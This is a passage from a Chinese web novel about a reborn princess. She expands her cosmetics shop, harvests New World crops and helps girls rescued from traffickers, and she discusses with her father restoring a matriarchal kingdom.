“唉…您说这丫头,也不说金光寺主持给她批过命的,不然妾身早把她迎进府了。”辰王妃现在看林三小姐,是怎么看怎么满意。 只要能司徒郯生下一子半女,那就是好姑娘! “妾身现在就把这消息告诉郯儿去!”辰王妃迫不及待,扶着嬷嬷快步离开。 辰王哭笑不得,找下人拿了灯笼追上去:“你慢些,天都黑了,拿着灯笼!” … 第二天,皇帝的圣旨就下来了。 辰王一家欢天喜地接了旨,另外几个王妃却一头雾水。 辰王妃不是对这个林三小姐很不满吗? 这还不得闹腾啊? 于是王妃们纷纷派出自己的丫鬟去打听消息。 至于王爷们和文武百官,关注的则是虎啸军易主一事。 司徒霄收到这个消息的时候,差点吐血三升。 他昨晚还想着,怎么把虎啸军弄到手呢! 结果好嘛! 皇帝给辰王了! 一个司徒澈就算了,凭什么司徒铭也能拿到兵权? 他司徒铭从过军吗?会打仗吗? “老、三,你可别怪孤!”司徒霄眼底一片肃杀之色。 … 唐蕊可没心思关注这些事。 林家除了林三小姐,所有人都发配了,一大早她就带着幻蝶和容嬷嬷溜出府,跑去街上看热闹了。 没一会儿,一溜串的囚车缓缓驶来,百姓们义愤填膺,开始挥霍着手里的臭鸡蛋烂叶子。 林二老爷在为首的囚车里,有气无力的喊着冤枉,女眷们也哭唧唧,一双双眼底满是对未来的恐惧。 容嬷嬷看着那些无辜的女眷,有些于心不忍:“唉~这些姑娘也是可怜…” 唐蕊:“…”可不可怜的,个人有个人的看法。 有些人会觉得,古代的连坐罪很不可理喻,很不人道主义。 可有些人又觉得,家中长辈非法敛财,家人哪怕毫不知情,也是利益即得者,她们存在本身即原罪! 只偏向一种看法不可怕,可怕的是像她这种,两种看法在脑子里打架的。 不然当初她故意把弟弟扔到贫困山村,也不会饱受心理煎熬了。 就像是两个小人在脑子里对骂。 带着光环长着翅膀的圣洁小人说:“冤有头债有主,错的是他的父母,他是无辜的,你怎么能这样对一个什么都不懂的小婴儿?” 长着牛角外加蝙蝠翅膀的黑色小人又道:“小婴儿就无辜吗?他的父母做坏事,说到底也是为了他,他就是他父母的罪恶之源,哪里无辜了?再说了,父母都被噶了,他长大后知道真相,不会找你报仇吗?所以,我们要斩草除根!” 说不清楚! 真的说不清楚! 唐蕊只希望永远也不要再面临这种选择题。 当然,她永远也不会告诉司徒辉泽,她不光这辈子是他的姐姐,上辈子也是他的姐姐。 看完了游街,趁着天色还早,唐蕊又跑去五个店铺转了转,最后又溜去了漱玉楼。 没了司徒嫱那个搅屎棍,再加上唐蕊研发的几款自制胭脂,上色快还防水,店铺生意好得不得了。 这不,唐蕊刚一进来,忙碌的邓掌柜就瞧见了她,立刻放下手里的事迎了上来:“郡主,小的本想着忙完就去王府一趟的,没想到您亲自来了。” 唐蕊摆摆手:“送账本不必了,你忙你的,随便找个小二送去就好。” “不光是送账本的事!”邓掌柜凑到她耳边神秘兮兮:“是您吩咐小人一家种的粮食,已经熟了,那产量,相当惊人啊!” “真的?”唐蕊神色一喜:“我能去看看吗?” “郡主这话说得,本就是您的庄子,您的粮食,自然能去。郡主,要不您先去厢房稍作休息,等小的这里忙完,就带您去看看?” “好好好,你快忙去,我自己去厢房!” 粮食大过天,唐蕊已经迫不及待了。 邓掌柜笑了笑,还是让小二把唐蕊送去了厢房。 怕她没事儿干,还把这个月的账本送了上去。 唐蕊漫不经心翻看着账本,心情好得都快飞起来了。 她知道漱玉楼生意好,可没想到能好成这样,一个月比一个月的盈利高。 这个月光利润,就有三千多两银子。 虽然比不上她的零花钱,但一个胭脂铺一个月赚三千多两,真的非常非常高了。 唐蕊不仅突发奇想,要是把漱玉楼做成现代那种化妆店,生意是不是会更好呢? 要知道,现代的妆容各种各样,甚至还有各种仿妆的。 这门手艺贡献出来,很多女子也能多个营生的路子了。 这个想法一出,唐蕊就有些坐不住了:“父王当初为了寻我,端了个人拐子村,救了很多女孩子,那些女孩子现在在哪里?” “这…”幻蝶没有打听这些事。 容嬷嬷好像知道一些,当即说道:“回郡主,老奴听徐嬷嬷说过,王爷好像把那些女孩子安置在自己的温泉山庄的,那地方距离您庄子不远,就隔着三里地。” 唐蕊点点头,看向幻蝶:“幻蝶,你去买一些实用的东西,像衣服棉被,或是粮食,一会儿我们去看看!” 幻蝶皱眉:“郡主,您要去看望那些女孩子吗?” 唐蕊:“嗯,我有个想法,去吧!” “是!”幻蝶没有再多问。 她也很同情那些女孩子的,但又不希望唐蕊跟这些女子过多接触。 在这个时代,失去贞洁的女子总是令人羞与为伍。 唐蕊被找回来,京城本就有很多对她不利的流言。 现在这些流言只是暂时被人遗忘了而已,若是被人知道她和那些女孩子接触,八成会旧事重提。 唐蕊才不在乎这些呢! 她是郡主,给她撑腰的可是大夏之主,她不需要惧怕任何人,更别说是这种小儿科的流言蜚语了。 第196章 大丰收哇 临到中午,邓掌柜才忙完。 唐蕊也没第一时间离开,而是跟他提出自己的意见。 “修整漱玉楼?”邓掌柜眉头微蹙,心里有些打鼓了,小心翼翼问道:“敢问郡主,是小的哪里做得不够好吗?” 唐蕊笑道:“不是你的问题,是我打算培养一批妆师,让她们常驻漱玉楼。所以这漱玉楼二楼包括三楼,我打算做成小厢房,方便女客嘛!” “妆师?”这个词邓掌柜没听过。 唐蕊解释道:“妆师,就是专门给别人化妆的女子!” 邓掌柜更迷糊了:“这…有必要吗?” 化妆嘛,不就描眉上黛抿口脂的事儿? 哪个女人不会啊? 唐蕊一听就知道他误会了,好好给他讲解了一下各种妆容。 邓掌柜听得云里雾里,一整个懵逼。 按照唐蕊说的,妆容还分几十种,什么日常妆、宴会妆、唐妆云云… 是他幻觉了还是专业知识不够,为什么他就没听说过还有这么些妆呢? “说了你也不信,容嬷嬷,你躺下,我给你化个妆!”唐蕊见他不明白,当即指挥起现场除了她唯一的女性。 容嬷嬷懵了几秒,猛摇头:“不不不,郡主,老奴已经年老色衰了,再涂脂抹粉不就成了乡下媒婆嘛?要不,等幻蝶回来?” “哎呀,你信我,去软塌那躺着!”最多四十出头,算什么年老色衰啊! 唐蕊非常坚持,容嬷嬷没办法,只能乖乖照做。 唐蕊让邓掌柜拿了一套化妆品过来。 这个世界的化妆品,就口脂、胭脂、黛笔,脂粉,也没多的了。 但唐蕊是谁啊,25世纪年轻女性! 就算只有一根黛笔,都能化出这个时代的女人们化不出来的妆容。 她拿着东西在容嬷嬷脸上不停捣鼓,短短二十分钟,邓掌柜就从一开始的将信将疑,变得目瞪口呆! 四十出头的容嬷嬷化了妆看起来只有三十出头,精致的妆容巧妙地掩盖了岁月的痕迹。 她的眼妆化得恰到好处,细长上挑的眼线让眼睛显得格外明亮有神,淡淡的粉色晕染在外眼角,增添了几分妩媚。 头发也被唐蕊盘成了一个优雅的堕马髻,几缕细碎的发丝垂落在脸颊旁,更添了几分慵懒与风情。 邓掌柜一时间都看呆了,张大嘴巴颤抖的指着容嬷嬷,久久找不回声音。 容嬷嬷见他一脸疑惑,直到唐蕊把铜镜抱到她面前:“当当当当,看看,满意吗?” 容嬷嬷看着铜镜里仿佛年轻了十多岁的自己,整个人都愣住了。 “这…这是我?”容嬷嬷接过铜镜,颤抖的抚摸着自己的脸,眼眶渐渐红了。 铜镜里的人也渐渐红了眼眶,与她做出一样的动作。 “真是我?神了…太神了…”容嬷嬷激动得不知道该说什么才好,对唐蕊佩服得五体投地:“郡主,您太厉害了,被您这么一化,老奴都快认不出自己了。” 唐蕊笑眯眯道:“现在知道一个专业的妆师对于女子而言有多重要了吧?” 容嬷嬷点头如蒜:“要是这门手艺被宫里那些娘娘们知道,她们肯定会花重金把人请进宫去的。” “对哇,我就是想让宫里的娘娘们帮我打广告呢!”唐蕊很是得意的瞥向邓掌柜:“邓掌柜,如何呀?” 邓掌柜灵魂出窍,目瞪口呆的看着容嬷嬷,根本就没听到唐蕊的声音。 唐蕊眼尾一抽,加大音量:“邓掌柜?擦擦你的口水!” “啊?”邓掌柜猛然回神,反射性去擦自己的嘴角,这才后知后觉,他根本没流口水。 再看唐蕊狡黠的笑脸,和一脸无语的容嬷嬷,邓掌柜耳朵都红了:“对不住,实在对不住,嬷嬷太美,小的…小的一时间都看呆了!” “哪有那么夸张,我都是四十出头的老妇人了!”说是这么说,容嬷嬷还是难掩喜色,不停的看着铜镜里的自己。 能在贵圈小姐们身边伺候,颜值绝对不低的。 容嬷嬷也是一样,她能成为秦芷嫣这个侯府嫡女的贴身嬷嬷,年轻时那脸绝对能看。 只是现在年纪大了,岁月不饶人啊! 唐蕊:“怎么样?妆师很有必要吧?” “有有有,郡主厉害,小的全听郡主的!”邓掌柜现在一点反对的意见都没有了。 要是有如唐蕊一样化妆技术的女子坐镇漱玉楼,漱玉楼的生意…他都不敢想啊! 说不定,以后宫里的娘娘们,都会经常来漱玉楼召妆师去宫里伺候呢! “郡主,东西买回来了!奴婢…”回来的幻蝶话说道一般,不经意的抬起头来,就看到了三十出头的美妇人,懵逼的眨了眨眼睛:“你…谁啊?” 容嬷嬷娇嗔的瞪了她一眼! 唐蕊哈哈大笑! 邓掌柜不时偷瞄着容嬷嬷,眼底满是小心翼翼的欢喜。 他真是没想到,化了妆的容嬷嬷能这么好看。 特别是那双凤眼,跟他那跑了的婆娘一样一样的! … 幻蝶也回来了,唐蕊也不再耽误,当即坐上马车去了庄子上。 邓青山依旧和热情,欢欢喜喜的把唐蕊迎进庄子,献宝似的呈上农作物。 土豆、番薯、玉米! 就这三样东西,让唐蕊喜出望外:“真的种出来了?邓老爹,你也太厉害啦!” 邓青山也很高兴:“我也没想到,列些东西楞个好种,我都没干啥子,它们斗长得飞快。郡主,你都不晓得,这个叫番薯的东西,产量是大米的五倍啊!还有玉米和土豆,都比大米产量高得多,有了列些东西,以后斗算是闹饥荒,我们这些农民都不怕没吃的了。” “郡主,您要不要去地里看一哈?还有仓库,我们可是大丰收啊,都还没收完。”邓老大也笑呵呵的开口。 “行啊!”唐蕊起身:“带路,本郡主去瞅瞅!” “要得,郡主跟我来!” 邓家人带着唐蕊去了地里。 邓家媳妇和两个女儿,还在地里忙活着。 广阔的原野一望无际。 往左看,一片片玉米杆子,都看不到头。 往右看,一个个圆滚滚的土豆被挖出来,满地都是。 往前看,已经翻了的土里,红薯一个个密密麻麻。 第197章 好好的良家女,玩什么卖身为奴那一套 仓库,根本就进不去,早已被塞满了。 邓青山还很苦恼的跟唐蕊说:“仓库太小咯,根本放不下!” “这简单,改明我就让人来多修几个仓库,至于你们…有功!当赏!”唐蕊小手一挥:“容嬷嬷,邓家人只要参与了种地的,每个人赏银二十两!” 邓家人神色一喜,跪地磕头:“多谢郡主,多谢郡主!” “郡主,郡主!”邓老大的媳妇扯过大女儿邓大妞,脸都笑成了一朵花:“郡主,这是俺大女,邓大妞,您看这小模样,生得也俊,要不您带她回王府,当个小丫鬟要不要得?” 此言一出,现场一片寂静。 唐蕊嘴角的笑渐渐淡了下来。 邓大妞怯生生的看着唐蕊,想到前几日母亲说,要么进府伺候郡主,勾搭上贵人,要么把她嫁给庄子上放牛的牛二娃,也急了:“郡主,我啥子都能干,你斗让我伺候你嘛!” 唐蕊神色淡淡的看着她,也没说好,也没说不好。 邓青山皱眉道:“老大家的,你干啥子?快带娃儿回去,莫丢人!” 邓老大的媳妇撇撇嘴,小声嘀咕:“爹哦,我还不是为了大妞好,郡主人勒么好,大妞跟到郡主,那是大妞的福气,你莫舍不得噻!” 邓青山真是…想一巴掌打死这个没有自知之明的儿媳妇。 邓老大把媳妇往后一扯,凶巴巴的:“莫发批疯,信不信老子弄死你?” 邓老大媳妇缩了缩脖子,可还是鼓起勇气梗着脖子:“那你弄死我嘛!我是为了哪个?还不是为了我们一大家子人啊?王府那么多伺候的下人,多大妞一个又囊个了嘛?” “放肆!”容嬷嬷看不下去了,沉声开口:“你们以为,什么阿猫阿狗都能做郡主的奴婢?” “郡主开恩,我这儿媳妇啥子都不懂,您可千万不要跟她一般见识啊!”邓青山赶紧跪下求饶。 邓老大也拉着媳妇跪下。 邓老大的媳妇被容嬷嬷吓着了,嗫嚅着唇不敢再说话。 只是那双眼里写满了不服。 邓大妞低垂着头,别人看不清她眼底的情绪。 唐蕊没说话,一步一步来到邓大妞面前,伸手挑起她的下巴,仔细打量着她的脸:“你想伺候本郡主?” 邓大妞咬了咬唇,点头:“对头,小的是真心实意想伺候郡主的。” 唐蕊收回手,笑了:“那你知不知道,就算是本郡主的奴婢,也是经过层层筛选,才有资格来到本郡主身边的。你若是也想伺候本郡主,首先就是卖身为奴,其次就是改掉你这一口方言。” 邓大妞抿了抿唇,面露难色。 容嬷嬷讥讽道:“郡主,还不止呢!在您院儿里伺候的丫头,要么是识字的,要么是绣活好的,要么就是会唱曲跳舞的,就是不知,这位邓家女,占哪样啊?” 邓大妞脸色发白,屈辱的眼泪在眼眶里打转。 所以,她连卖身为奴都不配吗? 幻蝶冷漠脸,接过话来:“不止是识字和绣活,郡主的衣服都是珍品,要洗郡主的衣服,怎么洗,怎么晾晒,都有讲究。郡主的首饰,怎么擦,怎么养,也都是学问。郡主的食物,布菜,试毒,也都有规矩。” 邓大妞垂下头去,捏紧了拳头,恨不得找个地缝钻进去。 邓老大的媳妇早就惊呆了:“愣…楞个多讲究啊?” 幻蝶淡淡道:“不然呢?你以为王府是那些小门小户吗?随便找人牙子买几个人都能进府伺候?在王府伺候的奴婢,除了家生子,大多都是官奴。知道什么是官奴吗?就是那些犯了罪触怒龙颜的官家人,府里很多奴婢,特别是几个主子身边伺候的人,像容嬷嬷,徐嬷嬷,曾经也是七品或八品官家中的女儿。” 就算是她,也是宫里的嬷嬷带了一段时间,皇帝才把她送给唐蕊的。 当王府是那些小门小户啊,买奴婢不讲究的? 邓老大的媳妇瞪大眼睛,大为震惊! 邓大妞脑袋都垂到了胸前,屈辱的眼泪一滴又一滴落下。 唐蕊微笑的看着邓大妞,笑意却不达眼底:“现在还觉得,你能伺候本郡主吗?” 邓大妞摇头,深深一拜:“是小的痴心妄想了,望郡主恕罪!” “…”你知道就好! 好好的良家女,玩什么卖身为奴那一套。 她工资开得这么高,又不是吃不起饭了! 唐蕊冷声道:“你年纪还小,若只想寻一门当户对的亲事,本郡主会为你做主。但你不该,把这些小心思用到本郡主身上!” 邓大妞一脸愕然的看着她,脸上是还未干的泪痕。 原来…唐蕊都知道… 这就是贵女和她们这些农家女的差距吗? 那双黝黑的眼睛里仿佛盛满了星河,能看穿一切。 邓老大的媳妇一阵心虚:“郡主,你说啥子,小的听不懂哦!” 唐蕊锐利的视线扫了过去:“你当真不懂?” 邓老大的媳妇浑身一抖,反射性垂下头去。 以前她觉得这女娃娃好说话,可现在怎么…这么凶哦! 邓大妞咬咬牙,哭着哀求:“郡主,小的也不想,可俺娘说,要把小的嫁给放牛的牛二娃,那牛二娃都二十六了,小的不想嫁给牛二娃,求求郡主,帮帮小的。” 邓老大媳妇慌了,推搡着邓大妞吼道:“死丫头,你乱说啥子?我好久说过这种话?” “够了!”邓掌柜忍无可忍,第一次对邓老大的媳妇发脾气:“大嫂,郡主面前还敢胡言乱语,言行无状,你是安逸的日子过够了,要害死我们一家人才安逸?还牛二娃,你就知道吓唬大妞,爹还在呢,再不济还有大哥,大妞的婚事轮得到你做主?” 邓掌柜说罢,朝唐蕊跪下了:“小的没有约束好家人,冒犯了郡主,望郡主恕罪啊!” “以后我要是来这里,希望你家大嫂就在屋里待着,不要出来,我不想看到她!至于邓大妞…” 唐蕊说到这顿了顿,又继续道:“邓大妞和邓二妞,她们的婚事她们自己做主,不管是你,还是邓家其他人,都不得干涉!” “是!”邓家人齐齐应声,心里也默默的松了一口气。 邓大妞感动得泪眼汪汪,朝唐蕊拜了三拜:“多谢郡主恩典!” 第198章 唐娆复国的必要性 唐蕊扶起她,掏出自己的手绢替她擦掉眼泪:“人各有志,你若是不喜欢种地,以后就去漱玉楼接待女客,不要糟蹋自己哦。” “嗯…嗯…”邓大妞哭着点头,她眼里的唐蕊,这一刻好像在发光。 民间都传闻昭华郡主是天上的仙女下凡,也许…也许是真的呢! 唐蕊高高拿起,轻轻放下。 邓家人对她感恩戴德,唯一不满的,只有邓老大的媳妇了。 不过唐蕊也不在乎她这小农妇的态度,反正以后不会来她面前跳。 邓家人都是可用的,唐蕊不想因为一个小小的女人,就让主仆之间离了心! 参观完山庄,唐蕊带走了一些土豆、番薯和玉米,又去了司徒澈的温泉山庄。 管事的一听是昭华郡主上门,赶紧出门迎接。 唐蕊问起那些女子的时候,管事的更是直接把那些吃白食的女子带到了唐蕊面前。 她们最大的十四岁,最小的只有五六岁,真的难以想象,这些小女孩曾经遭遇了那样的事。 特别是那些五六岁的小姑娘,估计都不知道自己的遭遇意味着什么吧? 不然也不会眨巴着一双懵懂的大眼睛瞅着她了。 反倒是那些稍微大一些的女孩,要么一脸愁容,要么一副生死看淡的模样。 唐蕊留下那三个年纪稍大的女孩,把自己的想法告诉了她们。 遗憾的是,除了一个叫燕儿的女孩,另外两个都不感兴趣。 燕儿看她们这样怒其不争:“你们干什么?郡主这是在帮我们呢,我们自己不立起来,以后又该怎么办?” 叫青青的女孩儿苦涩一笑:“我们已经没了清白,还要出去抛头露面被人笑话吗?” 叫花朵的女孩也绞着手指,闷闷道:“我不想见人,我只想待在这里,多活一天算一天。” “不就清白,没了就没了,我们至少还活着不是吗?那么多妹妹都还需要我们,我们要是一直萎靡不振,她们又该怎么办?不是早就说好了,要给妹妹们做个榜样,要坚强吗?” 燕儿擦掉眼角的泪,朝唐蕊跪下了,神色坚定:“郡主,我愿意,不管您让我干什么我都愿意,我不想过这样的日子,也不想待在这里吃白食,更不想辜负璃王爷的救命之恩。我想赚钱,赚很多很多的钱,好好照顾我的妹妹们。” “爹娘不要我,没关系,我要我自己。世人唾弃我,没关系,我觉得自己,比谁都干净!只要郡主不嫌弃我,我什么都愿意!” “快起来!”唐蕊扶起她,竖起大拇指:“说得好,女子贵在自重!你这么想是对的,我很佩服你!” “多谢郡主!”燕儿非常感动。 她可是注意到了,唐蕊跟她说这话的时候,用的是‘我’,而不是‘本郡主’。 更重要的是,唐蕊看她的眼神没有厌恶,而是实打实的欣赏,这给了她很大的勇气! 唐蕊又看向青青和花朵:“你们不用急着拒绝哦,反正漱玉楼也要重新修整,你们也可以趁着这个时间好好考虑一下。我不会勉强你们,但我真的希望你们能把重点放在未来,而不是待在这一处安逸之地,日复一日为过去悲伤流泪,夜复一夜噩梦连连!” 青青和花朵一脸黯然,齐齐沉默了。 燕儿瞪了她们一眼,赶紧又道:“郡主,明日我就去跟您学,好不好?今晚我想陪她们说说话!” “自然可以,明天一早,我就让人来接你。”说到这,唐蕊又看了看青青和花朵:“当然,我更希望是接你们哦!” … 离开了温泉山庄,唐蕊坐在马车里吃吃喝喝。 幻蝶好奇道:“郡主,你觉得青青和花朵明天会跟燕儿一起吗?” “谁知道呢!”唐蕊也不敢保证:“明天派人来接她们,邓掌柜,明天你就找些匠人,重新修正漱玉楼。” 机会她给了,要是这两个姑娘不想抓住,她也没办法! 容嬷嬷叹息道:“她们若实在不想,这也是没办法的事,女子清白大过天,失了贞洁,对一个女子而言,等于要了她的命啊!” 唐蕊无语了瞅了她一眼,没有发表意见。 当然,内心肯定是不赞同的。 小小一层膜而已,哪有那么重要! 放现代,有些女的骑马骑自行车,都可能会骑没ok? 那你能说她不清白吗? 可这个世界就是如此…不…不是全世界… 南蛮是女子为尊的国度,若是南蛮未灭,这些女子还可以去南蛮生活。 在那里,没有人会在意女子的贞洁,也没有人对她们指指点点! 她们甚至可以娶很多个男人! 唐蕊第一次开始思考,唐娆复国的必要性了。 不仅仅是为了报仇,也不是为了别的,而是为了给如燕儿、青青还有花朵这样的女子一个避风港! 看来,这个女皇还是很有必要争取一下! 反正活着也是活着,活点不一样的呗! 于是,一回到王府,唐蕊都没第一时间去厨房,而是跑去了司徒澈的书房! …司徒澈没在! 守着书房的侍卫告诉她,司徒澈下朝后就忙着去黑鳞骑了。 “…”好吧! 唐蕊大咧咧的往司徒澈的位置上一坐:“幻蝶,我要在这等爹爹,把我晚膳送这来。” 幻蝶无奈提醒:“小郡主,小世子还在翠微阁呢,一整天没看到您,也许会哭闹…” “那就把他抱过来,我跟他一起等爹爹!”唐蕊一锤定音。 幻蝶无奈,赶紧去忙活! 没一会儿,五菜一汤外加小包子整整齐齐送进司徒澈的书房。 一天没看到唐蕊,司徒辉泽嘴巴一瘪,朝她伸出小手。 唐蕊顺手接过他放自己膝盖上,不等他开始嚎,就拿了根酱肘子塞他嘴巴里。 司徒辉泽:“…” 奶娘看得眉心狂跳,小心翼翼提醒:“郡主,小世子还不能啃肘子。” 唐蕊:“我知道,给他尝尝味,磨磨牙而已,他不会吞的!” 又不是真的小孩子,哪有那么傻。 奶娘还真怕司徒辉泽直接吞,紧张的看着他,一副随时准备冲上去抢肘子的架势。 司徒辉泽送了她一记王之蔑视,嘬着肘子吧唧吧唧。 第199章 男不娶女不嫁,只为繁衍后代 还是姐姐对他好,知道他每天吃奶都快吃吐了,给他换换口味。 唐蕊笑眯眯道:“好吃吧?” “啊哦…啊…”司徒辉泽咿咿呀呀,油乎乎的小嘴笑得很无齿。 “好吃就要快点长大,到时候姐给你做佛跳墙,板栗炖鸡,东坡肉!” “…”斯哈斯哈。 别说啦,我口水都止不住啦! 虽然上辈子做过皇帝,可这个时代的菜几乎都是炖菜。 再加上他上辈子是穷人家的孩子,没吃过什么好的,会的也是村里人常用的一锅炖手法。 所以唐蕊说的这些,他听是听说过,但没吃过,更别说会做了。 人就是奇怪,小的时候想长大。 真的长大了,又会怀念小时候。 司徒辉泽嘬了没一会儿,唐蕊拿出肘子,顺口放在嘴里咬了一口。 奶娘眼尾一抽:“郡主,那是小世子吃过的啊!” “我自己的弟弟,有什么?”小孩子又不脏,更何况还是自家的娃娃。 再说了,小辉泽就嘬了那么拇指大点地方,难道还把整个肘子扔了啊? 唐蕊坚决不浪费! 她没发现,司徒辉泽看她的眼里有光。 那个世界,村里的老人们都说,不嫌弃自家娃娃口水的,才是真的爱自家娃娃的。 姐姐好爱他! 太幸福鸟! 司徒辉泽握紧小拳头,咿咿啊啊。 一定要快快长大,这一世做个阴险狡诈的皇帝,好好保护姐姐,让姐姐当一辈子快乐无忧的长公主! 还好唐蕊不知道他的想法,不然绝对会喷他一脸。 吃完饭,唐蕊抱着小辉泽躺在软塌上看了一会儿话本,迷迷糊糊的睡着了。 不知过了多久,有力的大手轻轻把她抱了起来。 唐蕊睁开眼,映入眼底的就是便宜爹的美颜暴击。 见她醒了,司徒澈神色无奈:“怎么睡这里了?” “爹爹,你回来了哦!”唐蕊揉了揉眼睛,打了个呵欠。 司徒澈又重新把她放下:“就在这睡吧,爹爹让人把被子给你拿来。” “不用!”唐蕊一股脑坐起身来:“我就是想问问你,以后能不能抽点时间陪我。” “好!”司徒澈毫不犹豫答应下来。 虽然很忙,可女儿都开口了,自然不能拒绝:“这段时间爹爹忽略你和辉泽了,以后爹爹早点回来。” 唐蕊嘿嘿一笑,开始卖乖了:“其实哦,我就是想让爹爹抽点时间,教我帝王之术。爹爹,你别告诉我不会哦。” “…”自然是会的。 十二岁的时候皇帝就教过他了。 “咿呀…啊啊…”司徒辉泽不知何时醒了,一听唐蕊这话立刻来了劲儿。 阿姐,你想学就问我啊,我会哦! 我可是皇爷爷手把手教的呢! 可惜他的婴儿语唐蕊听不懂,司徒辉泽也发现了,郁闷的垂下小脑袋,无精打采! 司徒澈见儿子也醒了,干脆把儿子抱起来,坐在唐蕊身边,耐心询问:“为什么突然想学这个?” 唐蕊有些不好意思了:“我这不想着,娘亲以后要是复国成功,需要我继位的话,就去南蛮做做女皇嘛!” “做一国之君很累的,为什么突然有这样的想法?”他记得唐蕊最懒了,梦想就是做一条咸鱼。 司徒辉泽终于听到唐蕊娘亲的消息了,一秒安静下来。 唐蕊老实道:“我今天去你的温泉山庄看那些女孩子了,她们虽然不愁吃穿,过得还是不好。不管哪个地方,对女孩子都很苛刻,如果南蛮还在的话,她们是不是能重新开始?不再惧怕那些流言蜚语呢?” 司徒澈叹息一声,点了点头:“这是肯定的!” 如果南蛮还在,这些女孩子完全可以去南蛮重新开始。 那里不会有人对失去贞洁的女子指指点点,不仅如此,女子还能从军,科举,抛头露面做生意,甚至是三夫四侍。 “但你有没有想过,这样对男子也很不公平?” 司徒澈一开始也觉得男子比女子金贵,与唐蕊相处过后,有点被她那些现代主义言论影响到。 对现在的他而言,男子女子都是一样,没有谁比谁金贵。 如果这个世上有轮回,这一生为男子,那就能保证下一世也是男子吗? 所以,男尊女卑,女尊男卑这样的认知,都有些可笑了。 唐蕊笑眯眯道:“我知道哦!所以我有一个想法,以后我要是执掌南蛮,也准备把南蛮变成那样的国度!” 司徒澈有些好奇:“哦?什么样的国度?” 唐蕊神秘兮兮:“爹爹,你知道走婚吗?” 司徒澈一头问号! 司徒辉泽:“…”不是,老姐,你准备这么搞的吗? 走婚族,也是有弊端的啊! “走婚呢,就是指男不娶,女不嫁,通过暮至朝离的走访来实现阴阳调和…” 唐蕊简单的解释了一下,又才继续道:“当然,这种方式有利也有弊,利就是夫妻双方情感自由度更高,分居模式节省开支,更容易积累个人财富,家庭矛盾也会减少哦。弊端呢,就是夫妻关系稳定性不足,孩子也会缺少父亲的关爱和陪伴等等。” “不过嘛,凡事都有两面性,这种模式更能巩固绝对的母系社会体系,至于父爱不父爱的…爹爹,老实讲,你觉得这个世上又有多少父亲会跟你一样对子女尽职尽责哦?” “最重要的是,南蛮要是复国,也不可能跟大夏或东临媲美,这种方式其实很适合小国前期政策的。” 司徒辉泽沉默了。 司徒澈也沉默了。 前者是完全听懂,后者虽然有些词感觉很陌生,但四舍五入也能理解。 确实,这种政策非常适合巩固母系社会政权。 不仅如此,这个时代男女成亲的时候年纪都很小,想让一个男子承担起自己的责任和义务,那女子得等到这个男子真的长大。 所以,父爱与责任,很少有男人会尽职尽责,就等于没有。 总而言之,走婚形式对于女子为尊的国度来说,是利大于弊的。 这样男子也不会受到女子压迫,形成一种诡异的平衡! 就是…对司徒澈而言,这种理论太超前了… 男不娶女不嫁,只为繁衍后代…有点接受不了。 第200章 你可拉倒吧,先照顾好你自己在说 但看唐蕊兴致勃勃的样子,他也没忍心打断她的幻想。 反正唐娆复国不是那么简单的事。 搞不好,还会被当成人人喊打的妖女! 司徒澈笑道:“不错,既然你想学,爹爹就教你,以后我尽量早些回来,你也做好准备,爹爹可是很严格的。” 帝王之术说起来简单,要做到却不容易。 司徒澈把女儿和儿子送回翠微阁,又回到书房连夜加班,把准备教唐蕊的内容分为五十个部分。 他是个比较认真的人,没有答应就算了,既然答应了,就要做好。 于是,本该侍寝的朱侧妃等了又等,始终不见人来。 靠! 过分! 朱侧妃不顾云吞阻扰,深更半夜提着裙摆杀上门来。 看到她,司徒澈眼皮一跳,不动声色扯过书挡住自己的写的东西:“你还没睡?” “爷不来,妾身怎么睡嘛!”朱侧妃气呼呼的往椅子上一坐。 司徒澈清晰的看到,那椅子腿都微微颤了颤。 “…”老天! 司徒澈深吸一口气,微笑:“本王还有些公务要处理,你可以不用等本王。” 朱侧妃泪眼汪汪:“爷,你是不是也跟那些外人一样,觉得妾身肥胖如猪,丑陋不堪?” “没有!”司徒澈是真没这么觉得:“你要是丑,父皇也不会把你指给本王了。” 朱侧妃胖是胖了些,但她的底子在那,五官又很精致,胖起来一点都不丑。 要是换上唐蕊画的那些唐装襦裙,看上去还别有一番华贵韵味。 朱侧妃才不买账:“那为什么爷对妾身一点都不热情?王妃姐姐就算了,她是正妻,爷爱她重她也是应该的,可爷对顾侧妃明明也很上心,偏偏冷落妾身。” “本王哪有冷落你啊!”司徒澈无奈一笑:“这不是太累了吗?你也知道,本王现在不光管着兵部,还有黑鳞骑,实在分身乏术。” “妾身就知道爷累,所以…”朱侧妃狡黠一笑,拍了拍手。 下一刻云吞推门而入,端着一个托盘,托盘上是鸡汤、卤猪蹄儿、酱牛肉… 司徒澈:“……” “爷,妾身陪你吃点,你再继续忙吧!”朱侧妃搓着小手,就差没流口水了。 司徒澈眼皮狂跳:“是你自己想吃吧?本王吃过…” “吃过也要吃,这可是妾身专门给爷做的,废了好大的功夫呢!”朱侧妃见他不吃,嘴巴一瘪,又要哭了:“爷还说不嫌弃妾身,都不愿意吃妾身做的菜。” “吃!本王吃还不行嘛!”司徒澈一整个无语。 得! 今晚甭睡了,等朱侧妃睡了,他该去运动了。 不然按照这么个吃法,早跟朱侧妃一样的体型了。 … 翌日,晴朗的天空乌云密布,气温猛降! 不过片刻,淅淅沥沥的小雨变成了大雨。 哪怕容嬷嬷提前给唐蕊加了被子,唐蕊还是被哗啦啦的雨声吵醒了。 倒是小辉泽,依旧睡得香甜! 唐蕊让奶娘抱着他,去给秦芷嫣请安,顺便蹭了一顿饭。 接下来就是逗娃环节了。 秦芷嫣是真想让小辉泽留下,亲自照顾。 可小辉泽死活不要跟唐蕊分开,不然就扯着嗓子嗷嗷哭,她也很无奈。 唐蕊也很疑惑这个问题,还私下问过小辉泽。 小辉泽的表情一言难尽。 他现在还不会说话,也解释不了。 前世秦芷嫣怀上他的过程跟唐娆异曲同工,司徒澈对他很是不喜,任由他自生自灭。 秦芷嫣这个恋爱脑软弱胆小,堂堂王妃被刘姬和后入府的那几个女人压得死死的。 而他,也没少受罪,还有两次差点被那些个女人害死。 皇帝担心他长不大,两个月的时候就把他接进宫亲自照料了。 说白了,他不是不在乎秦芷嫣这个娘,他就是怕了秦芷嫣了,怕软弱的秦芷嫣护不住他。 现在的璃王府是很平静,司徒澈这个便宜爹也很称职。 可谁又知道前世那几个女人还会不会入府哦? 谁又知道司徒澈会不会一直称职下去哦? 还是跟在唐蕊身边安全! 好不容易重活一世,他才不要莫名其妙的嘎了。 